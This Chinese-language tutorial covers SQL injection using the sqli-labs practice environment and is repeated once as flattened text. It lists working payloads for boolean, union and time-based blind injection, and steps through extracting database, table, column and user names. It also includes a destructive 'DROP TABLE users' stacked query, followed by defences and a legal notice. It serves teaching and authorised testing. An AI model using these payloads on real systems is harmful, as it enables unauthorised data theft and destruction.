SQL注入--sqli-labs-master
字数 1359 2025-08-18 11:36:53

SQL注入攻击全面解析与实战教学

1. SQL注入基础概念

1.1 SQL注入本质

SQL注入是一种通过操纵数据库查询来获取未授权数据的攻击技术。其核心原理是:

  • 恶意用户通过在表单中填写包含SQL关键字的数据,使数据库执行非常规代码
  • 数据"越俎代庖"做了代码才能干的事情
  • 问题根源:SQL语句中代码和数据项没有严格分离

1.2 SQL注入攻击总体思路

  1. 寻找SQL注入点:识别应用程序中与数据库交互的输入点
  2. 判断服务器和数据库类型:不同数据库的注入技术有所差异
  3. 实施针对性攻击:根据识别到的环境选择适当的注入技术

2. SQL注入攻击模式详解

2.1 盲注(Blind Injection)

当SQL语句执行后,选择的数据不能回显到前端页面时使用。

2.1.1 基于布尔的盲注(Boolean-based)

  • 适用场景:页面返回结果只有两种状态(正常/错误)
  • 攻击方法:构造SQL判断语句,通过页面返回结果(True/False)推断数据
  • 示例:?id=1' AND 1=1-- (正常) vs ?id=1' AND 1=2-- (错误)

2.1.2 基于时间的盲注(Time-based)

  • 适用场景:页面不会返回错误信息,只显示单一界面
  • 攻击方法:利用延时函数(sleep/benchmark),通过响应时间判断
  • 典型特征:使用sleep函数制造时间延迟
  • 示例payload:
    ?id=1' AND IF((ASCII(SUBSTR((SELECT database()),1,1))=115), SLEEP(5), 3)
    
    • 如果第一个字符ASCII码为115('s'),则延迟5秒
    • 否则立即返回

2.2 基于报错的注入(Error-based)

  • 适用场景:页面会返回错误信息或直接显示注入结果
  • 攻击方法:构造会导致数据库报错的语句,从错误信息中提取数据
  • 优势:通常比盲注效率更高

2.3 联合查询注入(Union-based)

  • 适用场景:可以使用UNION操作符的情况下
  • 攻击方法:利用UNION合并合法查询与恶意查询
  • 关键点:需要确定列数匹配
  • 示例:
    ?id=1' UNION SELECT 1,2,3-- 
    

2.4 堆查询注入(Stacked queries)

  • 适用场景:可以同时执行多条语句的环境
  • 攻击方法:在单个请求中执行多个SQL语句
  • 示例:
    ?id=1'; DROP TABLE users-- 
    

3. 盲注攻击详细流程

3.1 确定注入存在

  1. 测试基本注入:
    ?id=1' AND 1=1-- 
    ?id=1' AND 1=2-- 
    
  2. 测试时间盲注:
    ?id=1' AND IF(1=1,SLEEP(5),0)-- 
    

3.2 脱库步骤

3.2.1 判断数据库名称长度

?id=1' AND IF((LENGTH(DATABASE())=9),SLEEP(5),0)-- 
  • 如果延迟5秒,则数据库名长度为9

3.2.2 枚举数据库名称字符

?id=1' AND IF((ASCII(SUBSTR(DATABASE(),1,1))=115),SLEEP(5),0)-- 
  • 判断第一个字符是否为's'(ASCII 115)
  • 依次判断每个字符

3.2.3 获取表名

?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,SLEEP(5),0)-- 
  • 参数说明:
    • LIMIT x,y:第x+1个表开始,取y个表
    • SUBSTR(str,z,d):从第z个字符开始,取d个字符

3.2.4 获取列名

?id=1' AND IF(ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1))=105,SLEEP(5),0)-- 

3.2.5 提取数据

?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1))=97,SLEEP(5),0)-- 

4. 防御措施

  1. 参数化查询:使用预处理语句
  2. 输入验证:严格限制输入格式
  3. 最小权限原则:数据库账户只授予必要权限
  4. 错误处理:避免显示详细错误信息
  5. Web应用防火墙(WAF):过滤恶意输入

5. 工具推荐

  • SQLMap:自动化SQL注入工具,支持所有上述注入模式
  • Burp Suite:用于手动测试和漏洞验证
  • OWASP ZAP:综合性安全测试工具

6. 法律与道德声明

SQL注入技术仅应用于合法授权的安全测试。未经授权的渗透测试可能违反法律。安全研究人员应遵守负责任的披露原则。

SQL注入攻击全面解析与实战教学 1. SQL注入基础概念 1.1 SQL注入本质 SQL注入是一种通过操纵数据库查询来获取未授权数据的攻击技术。其核心原理是: 恶意用户通过在表单中填写包含SQL关键字的数据 ,使数据库执行非常规代码 数据"越俎代庖"做了代码才能干的事情 问题根源:SQL语句中代码和数据项没有严格分离 1.2 SQL注入攻击总体思路 寻找SQL注入点 :识别应用程序中与数据库交互的输入点 判断服务器和数据库类型 :不同数据库的注入技术有所差异 实施针对性攻击 :根据识别到的环境选择适当的注入技术 2. SQL注入攻击模式详解 2.1 盲注(Blind Injection) 当SQL语句执行后,选择的数据 不能回显 到前端页面时使用。 2.1.1 基于布尔的盲注(Boolean-based) 适用场景:页面返回结果只有两种状态(正常/错误) 攻击方法:构造SQL判断语句,通过页面返回结果(True/False)推断数据 示例: ?id=1' AND 1=1-- (正常) vs ?id=1' AND 1=2-- (错误) 2.1.2 基于时间的盲注(Time-based) 适用场景:页面不会返回错误信息,只显示单一界面 攻击方法:利用延时函数(sleep/benchmark),通过响应时间判断 典型特征:使用sleep函数制造时间延迟 示例payload: 如果第一个字符ASCII码为115('s'),则延迟5秒 否则立即返回 2.2 基于报错的注入(Error-based) 适用场景:页面会返回错误信息或直接显示注入结果 攻击方法:构造会导致数据库报错的语句,从错误信息中提取数据 优势:通常比盲注效率更高 2.3 联合查询注入(Union-based) 适用场景:可以使用UNION操作符的情况下 攻击方法:利用UNION合并合法查询与恶意查询 关键点:需要确定列数匹配 示例: 2.4 堆查询注入(Stacked queries) 适用场景:可以同时执行多条语句的环境 攻击方法:在单个请求中执行多个SQL语句 示例: 3. 盲注攻击详细流程 3.1 确定注入存在 测试基本注入: 测试时间盲注: 3.2 脱库步骤 3.2.1 判断数据库名称长度 如果延迟5秒,则数据库名长度为9 3.2.2 枚举数据库名称字符 判断第一个字符是否为's'(ASCII 115) 依次判断每个字符 3.2.3 获取表名 参数说明: LIMIT x,y :第x+1个表开始,取y个表 SUBSTR(str,z,d) :从第z个字符开始,取d个字符 3.2.4 获取列名 3.2.5 提取数据 4. 防御措施 参数化查询 :使用预处理语句 输入验证 :严格限制输入格式 最小权限原则 :数据库账户只授予必要权限 错误处理 :避免显示详细错误信息 Web应用防火墙(WAF) :过滤恶意输入 5. 工具推荐 SQLMap :自动化SQL注入工具,支持所有上述注入模式 Burp Suite :用于手动测试和漏洞验证 OWASP ZAP :综合性安全测试工具 6. 法律与道德声明 SQL注入技术仅应用于合法授权的安全测试。未经授权的渗透测试可能违反法律。安全研究人员应遵守负责任的披露原则。